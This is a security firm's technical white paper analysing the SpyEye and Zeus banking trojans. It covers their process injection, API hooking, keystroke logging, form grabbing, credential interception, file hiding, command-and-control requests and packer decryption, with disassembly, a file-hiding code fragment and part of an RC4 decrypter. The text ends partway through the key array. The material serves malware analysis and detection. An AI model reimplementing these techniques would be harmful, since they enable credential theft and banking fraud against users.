SOFTWARE

ASSURANCE

Technical White Paper

Reversal and Analysis of Zeus and SpyEye Banking Trojans

IOActive, Inc.
701 5th Avenue, Suite 6850
Seattle, WA 98104

Toll free: (866) 760-0222
Office: (206) 784-4313
Fax: (206) 784-4367

Copyright ©2012 by IOActive, Incorporated
All Rights Reserved.

IOActive™
COMPREHENSIVE COMPUTER SECURITY SERVICES

Contents

Introduction

Company engaged IOActive, Inc (IOActive) to perform a reversal and analysis of the banking Trojans SpyEye and Zeus.

Although the core functionality of SpyEye is similar to its main rival Zeus, SpyEye incorporated many advanced tricks to try and hide its presence on the local system. This document includes a deep technical analysis of the bot's advanced hooking and injection mechanisms as well as its core functionality used to hijack and steal user information.

Zeus is an advanced piece of malware, so getting it to a reversible state was not a trivial exercise since it incorporates multiple layers of custom, portable, executable encryption. IOActive reverse engineers stripped each encryption layer and rebuilt the executable to allow for proper disassembly. Once Zeus was in an unpacked state, consultants identified additional roadblocks including non-existent import address tables, obfuscated string tables, and relocated code. Zeus included many methods to hinder reverse engineering.

SpyEye Malware Analysis

Initialization

The unpacked SpyEye bot image can begin execution either at the entry point specified in its Portable Executable header, at a private (non-exported) hook procedure executed when the bot has injected itself into a new process, or at one of two private thread routines that execute when the bot has injected itself into an existing process.

In the first case (when the bot is running as a standalone application), the bot attempts to create a mutex named `__CLEANSWEEP__` and terminates if it exists already. Otherwise, it extracts `config.dat` from `config.bin`, which is a ZIP file with the `PK` signature overwritten and a 32-character, uppercase hexadecimal string as the password. The decompressed `config.dat` file is expected to have a size of 13,005 bytes and contains the following fields:

```
+0000h  [1000]  ActionUrl  (e.g.,
"http://localhost/spyeye/main/bt_version_checker.php")
    +03E8h  [1000]  ActionUrl2  (e.g.,
"http://localhost/spyeye/main/bt_version_checker.php")
    +07D0h  [1000]  LatestExeUrl  (e.g.,
"http://localhost/spyeye/main/bt_getexe.php")
    +0BB8h  [1000]  KnockHdrs  (e.g.,
"http://localhost/spyeye/main/bt_knock_hdrs.php")
    +0FA0h  [1000]  RightTimeUrl  (e.g.,
"http://localhost/spyeye/main/datetime.php")
    +1388h  [1000]  IncHistoryUrl  (e.g.,
"http://localhost/spyeye/main/bin/page0.html")
    +1770h  [1000]  CurrentUaUrl  (e.g.,
"http://localhost/spyeye/main/bin/ua.html")
    +1B58h  [1000]  ClickBnkUrl  (e.g.,
```

```
"http://localhost/spyeye/main/bt_plg_clkbnk_ct.php")
    +1F40h  [1000]  KvipUrl  (e.g.,
"http://localhost/spyeye/main/bt_plg_kvip.php")
    +2328h  [1000]  CheckUrl  (e.g., "http://www.microsoft.com")
    +2710h  [1000]  FormgrabberHostUrl  (e.g., "localhost")
    +2AF8h  [1000]  FormgrabberPathUrl  (e.g.,
"http://localhost/spyeye/formgrabber/websitechk.php")
    +2EE0h  [1000]  FormgrabberPath2Url  (e.g.,
"http://localhost/spyeye/formgrabber/websitechk.php")
    +32C8h  DWORD   connector interval in milliseconds  (e.g.,
300,000)
    +32CCh  BYTE    kill Zeus flag
```

The bot then checks the result of `GetModuleFileNameA(NULL)` to determine whether it is running from its preferred location. If not, the bot attempts to update itself by:

- Creating its home directory—`%SystemRoot%\cleansweep.exe\` or `%SystemDrive%\cleansweep.exe\`—by using `CreateDirectoryA`.
- Setting the file times that were modified, created, and accessed on the directory to match those of `ntdll.dll`.
- Downloading from `LatestExeUrl` to `cleansweepupd.exe` with the API calls `InternetOpenA("Microsoft Internet Explorer")`, `InternetOpenUrlA(INTERNET_FLAG_NO_CACHE_WRITE)`, `InternetQueryDataAvailable`, and `InternetReadFile`.

Note The file times on `cleansweepupd.exe` also are set to match those of `ntdll.dll`.

Assuming that the update process was successful, the bot calls `CreateMutexA("__CLEANSWEEP_UNINSTALL__")` to force any running instances of the bot to unload, calls `CreateProcessA` to run `cleansweepupd.exe`, and then terminates.

If the bot is running from its preferred location, it attempts to inject itself first into processes named `explorer.exe` and then into all processes if that first attempt fails before terminating. The bot discovers processes of interest using `CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)`, `Process32First`, and `Process32Next`; refer to the section "Process Injection" for a detailed discussion.

In the cases where the bot image is injected into a process, it executed by way of a call to CreateRemoteThread through the injector at one of two possible thread routines.

Possibility 1. For injections performed by a bot instance that was executed like an application—that is, beginning execution at its entry point—injected instances execute at a thread routine that establishes a master instance. The thread routine calls `CreateMutexA("__CLEANSWEEP__")` to preclude other instances from running as applications and then sets a registry string value named `cleansweep.exe` in the

`HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN` registry key to execute the bot each time the user logs in, thereby making the bot persistent.

Depending on the bot's configuration, the thread routine may attempt to shut down active Zeus installations on the system by ordering Zeus to shut itself down by way of its named pipe and deleting its executable [1]. The bot then disables Windows Defender by loading `%ProgramFiles%\Windows Defender\MpClient.dll` and calling `WDEnable(FALSE)`. The thread routine injects the bot into all processes and continues to perform periodic injects if `GetModuleHandleA(NULL)` indicates that the bot instance is hosted in an `explorer.exe` process.

Possibility 2. If the bot begins execution at the second thread routine or at the hook procedure mentioned in Possibility 1, it follows a different initialization sequence that involves contacting `FormgrabberPathUrl` then installing *Detours* hooks at the entry points of the following API functions:

```
NTDLL!NtQueryDirectoryFile
NTDLL!NtVdmControl
NTDLL!NtEnumerateValueKey
NTDLL!NtResumeThread
NTDLL!LdrLoadDll

user32.dll!TranslateMessage

wininet.dll!InternetCloseHandle
wininet.dll!HttpSendRequestA
wininet.dll!HttpSendRequestW

nspr4.dll!PR_Write  (called by Firefox)

ws2_32.dll!send

Advapi32.dll!CryptEncrypt
```

To obtain NTDLL's base address, the bot uses a variation on a trick common to shellcode: it accesses

- CONTAINING_RECORD(NtCurrentTeb() → Peb → Ldr → InInitializationOrderModuleList.Flink
- LDR_MODULE
- InInitializationOrderModuleList) → BaseAddress

rather than calling any API function or conducting a more careful search of the loaded module list.

After the bot installs hooks, it finishes initialization by creating a thread that reads the bot's configuration and then loops until `OpenMutexA("__CLEANSWEEP_UNINSTALL__")` succeeds, at which point the thread uninstalls all hooks and exits.

API Calls

The SpyEye bot employs a variety of tricks to evade API hooks—measures that also thwart attempts to set breakpoints on certain API functions used by the bot, which constitutes a degree of anti-debugging. The author refers to some of these tricks as *antisplicing* and points out that they prevent SpyEye bots communication with their server from being intercepted by the Zeus bot.[1]

The bot makes some API calls by way of imports or a standard `GetProcAddress`-based lookup, while at other times it looks up the functions more furtively. The bot's simplest trick is to use its own `GetProcAddress` implementations to look up exported functions either by name or by way of a 32-bit `ROL-7-XOR` hash of the name. In some places, the API name and/or library name string is built or decoded into a buffer at run time.

The bot's most elaborate trick involves mapping a separate, executable view into memory of the image that is hosting an API of interest by using `RtlInitUnicodeString`, `NtOpenFile(GENERIC_READ)`, `NtQueryInformationFile(FileStandardInformation)` to get the file's size, `NtCreateSection(SEC_IMAGE)`, and `NtMapViewOfSection`.

The bot then executes the code that belongs to the API of interest from within this temporary view; however, relocations are not applied, so the code ultimately may access code and global data that resides in the legitimately-loaded instance of the same image (assuming the image is loaded at its default base address). Because the API function begins execution in this temporary, dynamically-loaded image, the bot avoids import hooks, Detours hooks (including its own), and typical breakpoints when performing API calls in this way. The bot's current implementation of this technique supports API calls into the following libraries:

```
kernel32.dll    advapi32.dll       ole32.dll          user32.dll

wininet.dll     oleaut32.dll       shlwapi.dll        msvcrt.dll

shell32.dll     ntdll.dll          imagehlp.dll       urlmon.dll

ws2_32.dll
```

API Hooking

The bot hooks each of the API functions mentioned previously through the use of standard Detours hooks. It disassembles the instructions at the target function's entry point until it has determined that at least 5bytes of consecutive instructions are suitable for relocation.

> **Note** The bot will not attempt to relocate `Jcc rel8` or `LOOPcc rel8` instructions, although it will relocate and adjust `JMP rel32` and `CALL rel32` instructions.

If the bot disassembles a `JMP rel32` instruction, it disassembles at the JMP's destination for, at most, 4KB or until it encounters a `RET` or `INT 3` instruction—searching for an `INC EAX / DEC EAX` (40h/48h) sequence that serves as the signature of the bot's hook procedures. If it finds the signature, it assumes that the API function is hooked already and avoids re-hooking the function.

It is possible that to avoid triggering memory breakpoints the bot copies the original prolog code into a private buffer by way of a call to `NtWriteVirtualMemory` then manually appends a `JMP rel32` instruction that returns execution to the hooked function so that the relocated prolog code can be called as a *trampoline function* by the hook procedure. The bot then marks the memory that contains the target function's entry point as writable by using `NtProtectVirtualMemory({0x1000}, PAGE_EXECUTE_READWRITE)`—note that it does not restore the original page permissions—and overwriting the first five bytes of the function with a `JMP rel32` instruction to direct execution to the hook procedure.

When the bot is instructed to remove itself from memory, it uninstalls these Detours hooks by calling `NtProtectVirtualMemory({0x1000}, PAGE_EXECUTE_READWRITE)` at the hooked function's entry point and restores the function's original prolog code using `NtWriteVirtualMemory`.

Process Injection

The bot contains separate mechanisms for injecting itself into both existing processes and new processes that are created by a process in which an instance of the bot resides.

- With an existing process, the bot copies itself into the process (see below) and executes one of two possible thread routines by using `CreateRemoteThread`.
- With a new process, the bot hooks `NtResumeThread`—which is called by Windows to execute a newly-created process (and in some circumstances when a process is being debugged)—and performs injection at that point.

The goal of the `NtResumeThread` procedure is to hook a new process' application entry point immediately before the process beings executing calls `NtQueryInformationThread(ThreadBasicInformation)` to obtain the process ID of the (presumably) nascent process, which it then opens using `OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_WRITE|PROCESS_VM_READ|PROCESS_VM_OPERATION|PROCESS_CREATE_THREAD)`.

To find the application entry point, the `NtCreateThread` hook procedure calls `GetThreadContext({CONTEXT_FULL})` then calls `GetThreadSelectorEntry` given the thread's `SegFs` selector. From that result, it determines the base address of the thread's TIB, from which it reads the first 0B2Ch bytes by way of `ReadProcessMemory`, then uses the PEB base address recorded in the TIB to read the first 1E8h bytes of the PEB, also by way of `ReadProcessMemory`.

In turn, the PEB contains the base address of the application image, which leads to the application entry point by way of the Portable Executable header. With this information and starting at the entry point, the hook procedure

- Reads 4KB of memory by using `NtReadVirtualMemory`.
- Disassembles and copies the necessary length of prolog code as usual, except it necessarily uses `NtReadVirtualMemory` to access the memory of the target process.
- Installs the hook using `NtProtectVirtualMemory(PAGE_EXECUTE_READWRITE)` and `NtWriteVirtualMemory`.

When the application entry point hook procedure executes, it removes the hook with `NtProtectVirtualMemory(PAGE_EXECUTE_READWRITE)` and `NtWriteVirtualMemory`.

To inject its own image into a remote process, the bot attempts to acquire `SeDebugPrivilege by calling RtlAdjustPrivilege(20, TRUE)` and then tries to open the target process with `NtOpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_WRITE|PROCESS_VM_READ|PROCESS_VM_OPERATION|PROCESS_CREATE_THREAD)` or `OpenProcess` if the first attempt fails.

If successful, it tries to allocate memory (of the size indicated in its Portable Executable header's `SizeOfImage` field) for its image in the remote process using `VirtualAllocEx(PAGE_EXECUTE_READWRITE, MEM_COMMIT|MEM_RESERVE)`, first specifying the injecting instance's own base address and then successive base addresses starting at 0EA00000h and increasing by the size of the image.

The bot copies itself 4KB at a time into the allocated memory, repeatedly calling `VirtualQueryEx` to verify that the destination memory is not marked `PAGE_NOACCESS` or `PAGE_GUARD`; `VirtualProtectEx(PAGE_EXECUTE_READWRITE)` to ensure that the destination is writable; and `WriteProcessMemory` to copy 4KB of its image. Finally, the bot applies relocations one at a time according to its own base relocations table, calling `ReadProcessMemory(4)` and `WriteProcessMemory(4)` for each.

Keystroke Logging

SpyEye logs keystrokes using a `TranslateMessage` hook: in response to each `WM_KEYDOWN` message the hook procedure calls `GetKeyboardState` and `ToUnicode(lpMsg → wParam)`, then appends the corresponding wide character (up to a maximum of 19,999 wide characters) to a 20,000-byte buffer.

Form Grabbing

The bot hooks `HttpSendRequestA` and `HttpSendRequestW` to intercept content-bearing HTTP requests (usually POST requests) made by Internet Explorer-based browsers. If the intercepted function call supplies a non-zero `dwOptionalLength`, the hook procedure:

- Retrieves the requested URL using `InternetQueryOptionA(INTERNET_OPTION_URL)`.
- Accesses the User-Agent string stored previously by the `InternetCloseHandle` hook procedure.
- Reads all HTTP requests headers by way of `HttpQueryInfoA(HTTP_QUERY_FLAG_REQUEST_HEADERS|HTTP_QUERY_RAW_HEADERS_CRLF)`.
- Copies the form data from `lpOptional`.
- Includes any keystrokes collected by the `TranslateMessage` hook procedure since the last intercepted HTTP request was reported.

This package is then uploaded to the bot server as a manually-constructed HTTP POST request sent directly using Winsock:

```
(WSAStartup(0x202), socket(AF_INET, SOCK_STREAM, IPPROTO_TCP),
gethostbyname('FormgrabberHostUrl'), connect({htons(80)}), and
send).
```

The bot receives the server's response and performs basic parsing to check for an HTTP 200 status code.

To intercept HTTP requests sent from Firefox, the bot hooks the `PR_Write` function of the `NSPR4.DLL` (Netscape Portable Runtime) library. From this vantage point, the bot can read the complete, raw HTTP request after it is assembled, but before it is SSL-encrypted.

The hook procedure computes a 32-bit CRC of the intercepted HTTP request and compares it to the last eight requests it intercepted. If there is a match, the request is presumably redundant and is ignored; otherwise, the hook procedure acts based upon the HTTP METHOD. If the request is a GET request, the bot searches it for a `\r\nAuthorization: Basic` string and, if found, submits the entire request plus the base-64-decoded credentials to the bot server.

The hook procedure submits HEAD, POST, PUT, DELETE, TRACE, OPTIONS, and CONNECT requests to the server without any additional checks or processing.

Credentials Theft

The bot attempts to generically intercept plaintext FTP, POP3, and HTTP (basic authorization) credentials by hooking the Winsock `send` function. The hook procedure calls `getpeername` to ascertain the server-side port number to which the data is being sent: for FTP data sent to port 21, the hook procedure examines buffers at least six characters in length for an initial `USER` or `PASS` command and extracts the user name or password respectively. Once it has both, the hook procedure obtains the server's IP address using `getpeername` and `inet_ntoa`, and submits a string of the form `ftp://<user>:<password>@<ipaddress>` to the bot server by way of the same means the bot uses to submit form-grabber data.

For POP3 data (port 110), the hook procedure records the user names and passwords of `USER` and `PASS` commands, and also examines buffers that are at least 12 characters in length for an initial `AUTH PLAIN` command. If found, the hook procedure base-64 decodes the next POP3 buffer sent that does not begin with one of the three commands of interest, and regards the second (`authcid`) and third (`passwd`) null-delimited strings from the result as the user name and password, respectively.[2] Once it has both a user name and a password, the hook procedure submits a string of the form `POP3 : <user>:<password>@<ipaddress>` to the bot server.

For HTTP data (port 80), the hook procedure searches the entire sent buffer for the string `\r\nAuthorization: Basic` and, if found, extracts the data that follows, stopping at the next `\r\n` sequence or at the end of the buffer and then submitting the base-64-decoded data to the bot server.

File and Registry Hiding

The bot's `NtQueryDirectoryFile` and `NtVdmControl` hooks call the original API function then inspect the returned data for any record that describes a file or directory named `cleansweep.exe` or `config.bin`.

Note The files named `cleansweepupd.exe` are not hidden.

To effectively remove a matching record from the listing, the hook procedure increases the `NextEntryOffset` field of the preceding non-matching record so that the matching record is skipped by the caller. If the final record(s) match the file names to be hidden, the `NextEntryOffset` field of the final non-matching record is zeroed. If the data returned by the original function comprises only matching records, the hook procedure instead returns the error `STATUS_NO_SUCH_FILE` to the caller.

The NtQueryDirectoryFile hook procedure recognizes the following file information classes:

`FileDirectoryInformation`	`FileFullDirectoryInformation`
`FileBothDirectoryInformation`	`FileNamesInformation`
`FileOleDirectoryInformation`	`FileContentIndexInformation`

The `NtVdmControl` hook regards data returned in response to a `VdmDirectoryFile` control code as being in `FileDirectoryInformation` format.

The bot's `NtEnumerateValueKey` hook calls `NtEnumerateValueKey(KeyValueBasicInformation)` and inspects each record prior to the record that was indexed by the caller to determine whether it mentions the registry value `cleansweep.exe`. The hook procedure increments the index for each record found so that they are skipped silently then calls the original `NtEnumerateValueKey` with the original information class and the adjusted index.

Server Response Commands

At a configurable interval, the bot sends information about its installation to the server in a request that resembles the following:

```
    GET
/spyeye/main/bt_version_checker.php?guid=<username>!<hostname>!<s
ystem_volume_serial>&ver=10070&stat=ONLINE&cpu=<cpu_utilization>&
ccrc=<crc32_from_config.bin> HTTP/1.0
    Host: <botserver>
    User-Agent: Microsoft Internet Explorer
```

Once an hour the bot sends its request to

<http://www.microsoft-windows-security.com/software/updater3/bt_version_checker.php>

The conspicuous User-Agent string shown above is hardcoded and might provide a good opportunity to detect bot traffic. The bot uses:

- `InternetOpenA("Microsoft Internet Explorer")`
- `InternetOpenUrlA(INTERNET_FLAG_NO_CACHE_WRITE)`
- `InternetQueryDataAvailable, InternetReadFile`
- `InternetCloseHandle`

to send the request, so it is implicitly sent by way of any configured proxy and could use HTTPS; however, the `InternetOpenUrl` flags to ignore certificate errors are not specified, so the SSL certificate would have to be both valid and trusted, which is unlikely.

The bot obtains the user name, host name, and serial number by calling `GetUserNameA`, `GetComputerNameA`, and `GetVolumeInformationA` respectively based on the result of `GetSystemWindowsDirectoryA`.

CPU utilization is determined by computing the differences in current time—obtained from `NtQuerySystemInformation(SystemTimeOfDayInformation)`—and idle time—obtained from `NtQuerySystemInformation(SystemPerformanceInformation)`—after a call to `Sleep(1000)`, which is then divided by the number of processors on the system (obtained from `NtQuerySystemInformation(SystemBasicInformation)`). The `CRC-32` field is simply the last DWORD of the current `config.bin` file.

The server may respond to this request with one of the following commands:

- **UPDATE**, which causes download and execution of a new bot executable to cleansweepupd.exe, and removal of the old bot as signaled with `CreateMutexA("__CLEANSWEEP_UNINSTALL__")`.
- **UPDATE_CONFIG**, which causes download and process of a new `config.bin` as signaled with `CreateMutexA("__CLEANSWEEP_RELOADCFG__")`.

- **FILL**, which instructs the bot to attempt placing an order by way of FastSpring or setSystems using a provided payment card account.
- **LOAD**, which communicates a *loader task* that instructs the bot to download and execute a program with `CreateProcessA`.
- **KNOCK**, which communicates a *knocker task* that instructs the bot to make requests to a given URL with a supplied set of headers.

The remainder of this section discusses implementation of the FILL command.

Although the bot server claims to support setSystems (setsystems.com), eSellerate (esellerate.net), FastSpring (fastspring.com), ClickBank (clickbank.com), ShareIt (shareit.com), AlertPay (alertpay.com), securebillingsoftware (now defunct), and KinoVIP (kinovip.com), the bot itself appears to support only FastSpring and setSystems.

Given payment card information (card number, card security code, expiration date, name, address, phone number, and email address) and the URL of a target web site that implements one of these two payment methods, the bot instantiates an Internet Explorer `WebBrowser` control using `CoCreateInstance(CLSID_WebBrowser, IID_IWebBrowser2)` and then painstakingly, programmatically browses the web page to locate and manipulate various elements by way of `IHTMLDocument-`, `IHTMLElement-`, `IHTMLStyle-`, `IHTMLWindow-`, and `IWebBrowser`-family COM interfaces.

One conspicuous feature of note is the bot's capability to add websites to Internet Explorer's Trusted Sites zone. It does this by setting the `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2` key's `Flags` value to 00000043h—which allows the addition of websites to the zone (bit 1) and disables the requirement that added sites use HTTPS (bit 2)—then calling `CoCreateInstance(CLSID_InternetSecurityManager` and `IID_IInternetSecurityManager)`, and invoking the `SetZoneMapping` method of the resulting object to trust the site.

Anti-debugging Techniques

Although the author of SpyEye claims that the bot executable includes anti-debugging techniques[1], IOActive observed no specific anti-debugging measures in the unpacked image. Interference with the debugger arose as a presumably unintentional side effect of the `NtResumeThread` hook that was associated with process injection: each time an infected debugger resumed a thread in the debuggee process (which occurs during the operation of debuggers such as Windbg), the infected debugger attemptd to re-inject the bot into the debuggee. This conflict could have been sidestepped by running the debugger as an administrator within a regular, unprivileged user's session, which would prevent the debugger from becoming infected.

The bot functionality that can most nearly be considered as an anti-debugging technique is the manner in which the bot calls some API functions. Whenever the bot code invokes certain API functions, it first uses `NtMapViewOfSection` to map a separate view of the DLL

that hosts the API and then calls the API function's entry point within that view. This allows the bot to bypass user-mode Detours hooks—including its own—on the API functions called in this way, and incidentally allows it to avoid triggering any breakpoints set on the function entry points as well. This technique can present a challenge to user-mode debugging when breaking on certain API calls, but can be worked around by setting different breakpoints (especially in the kernel-mode code for native API calls), in other internal functions that the bot does not call in this way, or in the bot code itself.

Zeus Malware Analysis

Zeus Portable Executable Encryption Summary

Zeus implements customized, portable, executable encryption that incorporates multiple encryption layers, each of which decrypts the next section. Zeus allocates memory on the heap using `VirtualAlloc`, copies the current decrypted layer to the heap, and then executes. Each layer implements a slightly different obfuscation method, which can include ROR- and XOR-based schemes.

The first layer implements addition-based obfuscation:

```
.text:0040487C loc_40487C:                              ; CODE
XREF: sub_4047FE+B8j
.text:0040487C                  mov     bh, [esi] ; retrieve
encrypted byte
.text:0040487E                  add     esi, 1
.text:00404881                  add     bh, bl
.text:00404883                  add     bh, dl
.text:00404885                  mov     [edi], bh ; store
decrypted byte
.text:00404887                  inc     edi
.text:00404888                  push    edx
.text:00404889                  push    ecx
.text:0040488A                  push    0               ;
lpModuleName
.text:0040488C                  call    ds:GetModuleHandleA ; get
base address of system proc
.text:00404892                  pop     ecx
.text:00404893                  pop     edx
.text:00404894                  and     eax, 0FFh
.text:00404899                  add     eax, 4
.text:0040489C                  shr     edx, 8
.text:0040489F                  inc     ebp

.text:004048A0                  cmp     ebp, eax
.text:004048A2                  jnz     short loc_4048B0
.text:004048A4                  mov     ebp, 0F5DC7E46h
.text:004048A9                  mov     edx, ebp
.text:004048AB                  mov     ebp, 0
.text:004048B0
.text:004048B0 loc_4048B0:                              ; CODE
XREF: sub_4047FE+A4j
.text:004048B0                  sub     ecx, 1           ; ecx =
counter
.text:004048B3                  cmp     ecx, 0           ; any
bytes left to decrypt?
.text:004048B6                  jnz     short loc_40487C ; loop if
so
.text:004048B8                  pop     eax
```

```
.text:004048B9                  mov     edx, eax        ; edx
stores decrypted layer
.text:004048BB                  jmp     edx             ; jump to
decrypted code
```

Since developing a custom, executable decryption method is not an optimal method to decrypt encrypted executables, IOActive dumped the unpacked executable once it had decrypted itself in memory by running the bot under a debugger and tracing each obfuscation layer. A breakpoint was then set on each `jmp [reg]` instruction since that was the method used to jump between decrypted layers. Once all the layers were decrypted and the fully functional, portable executable was in memory, the executable was dumped to disk and the entry point was changed so that it pointed to the section of decrypted code.

Because Zeus injects a DLL into various processes, retrieving the decrypted DLL was a more straightforward process and IOActive checked the first instructions of hooked functions and identified the target memory page. For example, using the debugger WinDbg:

```
0:000> u ntdll!ZwCreateThread L1
ntdll!ZwCreateThread:
7c90d7d2 e955962784 jmp 00b86e2c
```

You can see the first instruction comprises a `jmp` to the location `0x00b86e2c`. One can then issue the `!address` command to see what memory region this occupies:

```
0:000> !address 00b86e2c
00b70000 : 00b70000 - 00026000
Type 00020000 MEM_PRIVATE
Protect 00000040 PAGE_EXECUTE_READWRITE
State 00001000 MEM_COMMIT
```

IOActive verified that the memory location was the start of the PE header and then dumped the DLL to disk using the `writemem` command:

```
0:000> .writemem C:\Malwares\00b70000.bin b70000 L26000
Writing 26000 bytes
```

Initialization

The unpacked Zeus bot image can begin execution either at the entry point specified in its Portable Executable header or at one of two private (non-exported) thread routines. In all cases, the bot begins by locating the image base address of KERNEL32:

```
    CONTAINING_RECORD(
NtCurrentTeb()->Self->Peb>Ldr>InInitializationOrderModuleList-
>Flink,
LDR_MODULE,
InInitializationOrderModuleList )->BaseAddressActual
```

This technique is common among shellcode and other less orthodox, custom loaders; it assumes that KERNEL32 always will be the second module in the initialization-order module list. With this base address, the bot locates KERNEL32's `LoadLibraryA` and `GetProcAddress` exports, and uses them to look up numerous API functions from various Windows libraries.

At a late stage of initialization, the bot examines KERNEL32's import directory to locate the function pointer associated with its `NTDLL!NtCreateThread` import, which the bot then replaces with a pointer to its own `NtCreateThread` hook.

> **Note** KERNEL32 on Windows Vista instead calls `NTDLL!NtCreateThreadEx`, which the bot is not currently written to accommodate.

The bot then enumerates all loaded modules (excluding itself, as it does not appear in the loaded modules list) with `CreateToolhelp32Snapshot`, `Module32FirstW`, and `Module32NextW` and installs a number of import hooks in each. Specifically, it hooks imports (but not bound imports) of the following API functions:

```
ntdll.dll!NtCreateThread
ntdll.dll!LdrLoadDll
ntdll.dll!LdrGetProcedureAddress
ntdll.dll!NtQueryDirectoryFile

(Note that the WSOCK32.DLL name is actually given as it appears
below, "wsocks32.dll", which prevents the following hooks from
being successfully applied.)
wsocks32.dll!send (#19)
wsocks32.dll!sendto (#20)
wsocks32.dll!closesocket (#3)

ws2_32.dll!send
ws2_32.dll!sendto
ws2_32.dll!WSASend
ws2_32.dll!WSASendTo
ws2_32.dll!closesocket

wininet.dll!HttpSendRequestW
wininet.dll!HttpSendRequestA
wininet.dll!HttpSendRequestExW
wininet.dll!HttpSendRequestExA
wininet.dll!InternetReadFile
wininet.dll!InternetReadFileExW
wininet.dll!InternetReadFileExA
wininet.dll!InternetQueryDataAvailable
```

```
wininet.dll!InternetCloseHandle
wininet.dll!HttpQueryInfoA
wininet.dll!HttpQueryInfoW

user32.dll!TranslateMessage
user32.dll!GetClipboardData

crypt32.dll!PFXImportCertStore
```

Process Injection

The bot injects itself into processes by way of two separate methods:

- Hijacking creation of the first thread in a new process.
- Injecting a new thread into certain existing processes.

Thread hijacking is accomplished by the bot's `NtCreateThread` import hook, which calls `NtQueryInformationProcess(ProcessBasicInformation)` on the process in which the thread will be created. If the `PROCESS_BASIC_INFORMATION.UniqueProcessId` field is zero (which is seen on earlier versions of Windows during creation of a new process), this implies that the thread being created is the first thread of the new process and hijacking proceeds; otherwise, the bot uses `CreateToolhelp32Snapshot`, `Thread32First`, and `Thread32Next` to enumerate all threads on the system, and ensures that none has a `THREADENTRY32.th32OwnerProcessID` that matches the new process' `PROCESS_BASIC_INFORMATION.UniqueProcessId` before proceeding.

The bot image is then copied into the process (discussed in detail below) and the `CONTEXT.Eax` field of the new thread's context is changed so that it points to a thread routine in the copied bot image.

> **Note** When creating a new process, KERNEL32 uses the `Eax` field to store a pointer to the application's entry point.

The other method of process injection involves enumerating processes of a given name that are running as the current user, copying the bot image into each matching process, and injecting a thread using `RtlCreateUserThread` to execute a separate thread routine. The bot:

1. Enumerates processes by calling `CreateToolhelp32Snapshot`, `Process32FirstW`, and `Process32NextW`.
2. Obtains the application path and file name of each using `OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ)` and `GetModuleFileNameExW(NULL)`.

3. Compares the user name—against which each matching process is running to the result of `GetUserNameW`—by calling `OpenProcessToken(TOKEN_QUERY)`, `GetTokenInformation(TokenUser)`, and `LookupAccountSidW`.

If the process path matches the result of `SHGetSpecialFolderPathW(CSIDL_WINDOWS` or `CSIDL_SYSTEM)`, if its application name matches `winlogon.exe` or `explorer.exe`, and if the process' user names matches the result of `GetUserNameW`, the bot copies itself into and creates a new thread in the process.

In both cases, the bot copies itself by locating its own image base—it starts at a pointer within itself, rounds down to the next 64KB boundary, then goes backward 64KB at a time until it locates a valid `MZ` signature, `PE` signature, and `IMAGE_NT_HEADERS32.OptionalHeader.SizeOfImage` field—then allocating a heap block of size `SizeOfImage` and copying its entire image into the heap block.

Next, the bot applies relocations to itself, taking into consideration that relocations already have been applied—that is, the pointers must be adjusted by the difference between the source base address and `IMAGE_NT_HEADERS32.OptionalHeader.ImageBase`. A region of size `SizeOfImage` is allocated in the target process using `VirtualQueryEx('ImageBase', MEM_RESERVE, PAGE_NOACCESS)` if possible or `VirtualQueryEx(NULL, MEM_RESERVE, PAGE_NOACCESS)` if the first attempt fails.

The headers of size `IMAGE_NT_HEADERS32.OptionalHeader.SizeOfHeaders` are copied into the process using `VirtualAllocEx(MEM_COMMIT, PAGE_READWRITE)`, `WriteProcessMemory`, and `VirtualProtectEx(PAGE_READONLY)` then each section is copied using `VirtualAllocEx(MEM_COMMIT, PAGE_READWRITE)`, `WriteProcessMemory`, and `VirtualProtectEx(PAGE_EXECUTE_READWRITE)`.

Hidden Files

Zeus creates the following hidden files:

```
\windows\system32\lowsec\user.ds - stored keystrokes and image
data
\windows\system32\lowsec\local.ds - retrieved configuration data
\windows\system32\lowsec\user.ds.lll
\windows\system32\lowsec\sdra64.exe - encrypted bot executable
```

The files are hidden on disk because of an API hook to the function `NtQueryDirectoryFile`. The original `NtQueryDirectoryFile` function is called and the results are then filtered to hide the necessary files.

This is accomplished by comparing the returned file names to the list of files Zeus wants hidden. The file name is then hidden by setting the value of `NextEntryOffset` from the `_FILE_NAMES_INFORMATION` structure to NULL.

```
typedef struct _FILE_NAMES_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
```

```
      if (file_matches)
      {

        // Check for end of list
        if (pCurrentFileNames->NextEntryOffset == 0)
        {
          // Hide current file
          if (pPrev)
            pPrevFileNames->NextEntryOffset = 0;
          else
            return STATUS_NO_SUCH_FILE;
```

File Encryption

The configuration and storage files are not only hidden because of the `NtQueryDirectoryFile` hook, but they also are encrypted with the RC4 cipher. The 256-byte RC4 key is specific to each bot creation, so it is impossible to create a universal decrypter for the storage files. The RC4 key is stored within the encrypted executable and must be extracted from an unpacked copy of the file.

The following code contains the reversed function that encrypts/decrypts the log and configuration data—the RC4 key must be extracted from the bot sample whose files you wish to analyze. The full decrypter software is available on request.

```
int rc4(BYTE* buffer, DWORD length)
{
    BYTE rc4key[258]=
{
    0x67, 0xE9, 0x30, 0x10, 0x3D, 0xC3, 0x63, 0xE2, 0x9C, 0x6F,
0xCD, 0xCC, 0x4F, 0xD0, 0xCB, 0x04,
0xD9, 0xB7, 0xA0, 0x2A, 0xA3, 0x13, 0xB4, 0x6A, 0x8D, 0xD8, 0x25,
0x2E, 0x22, 0xB8, 0x3A, 0xB0,
    0x27, 0x35, 0xFC, 0x26, 0x2B, 0x08, 0x8B, 0x8A, 0xAA, 0x69,
0x78, 0x8C, 0x84, 0x47, 0x56, 0xCF,
    0x5D, 0xF6, 0x62, 0xAD, 0x8E, 0xD3, 0x7A, 0x58, 0x03, 0x70,
```

```
0x4A, 0x45, 0x4D, 0x88, 0x7D, 0x93,
    0x28, 0x4E, 0x07, 0x51, 0x41, 0xD2, 0x54, 0x20, 0x3E, 0xA6,
0x1C, 0xA9, 0x49, 0x6C, 0x23, 0xB2,
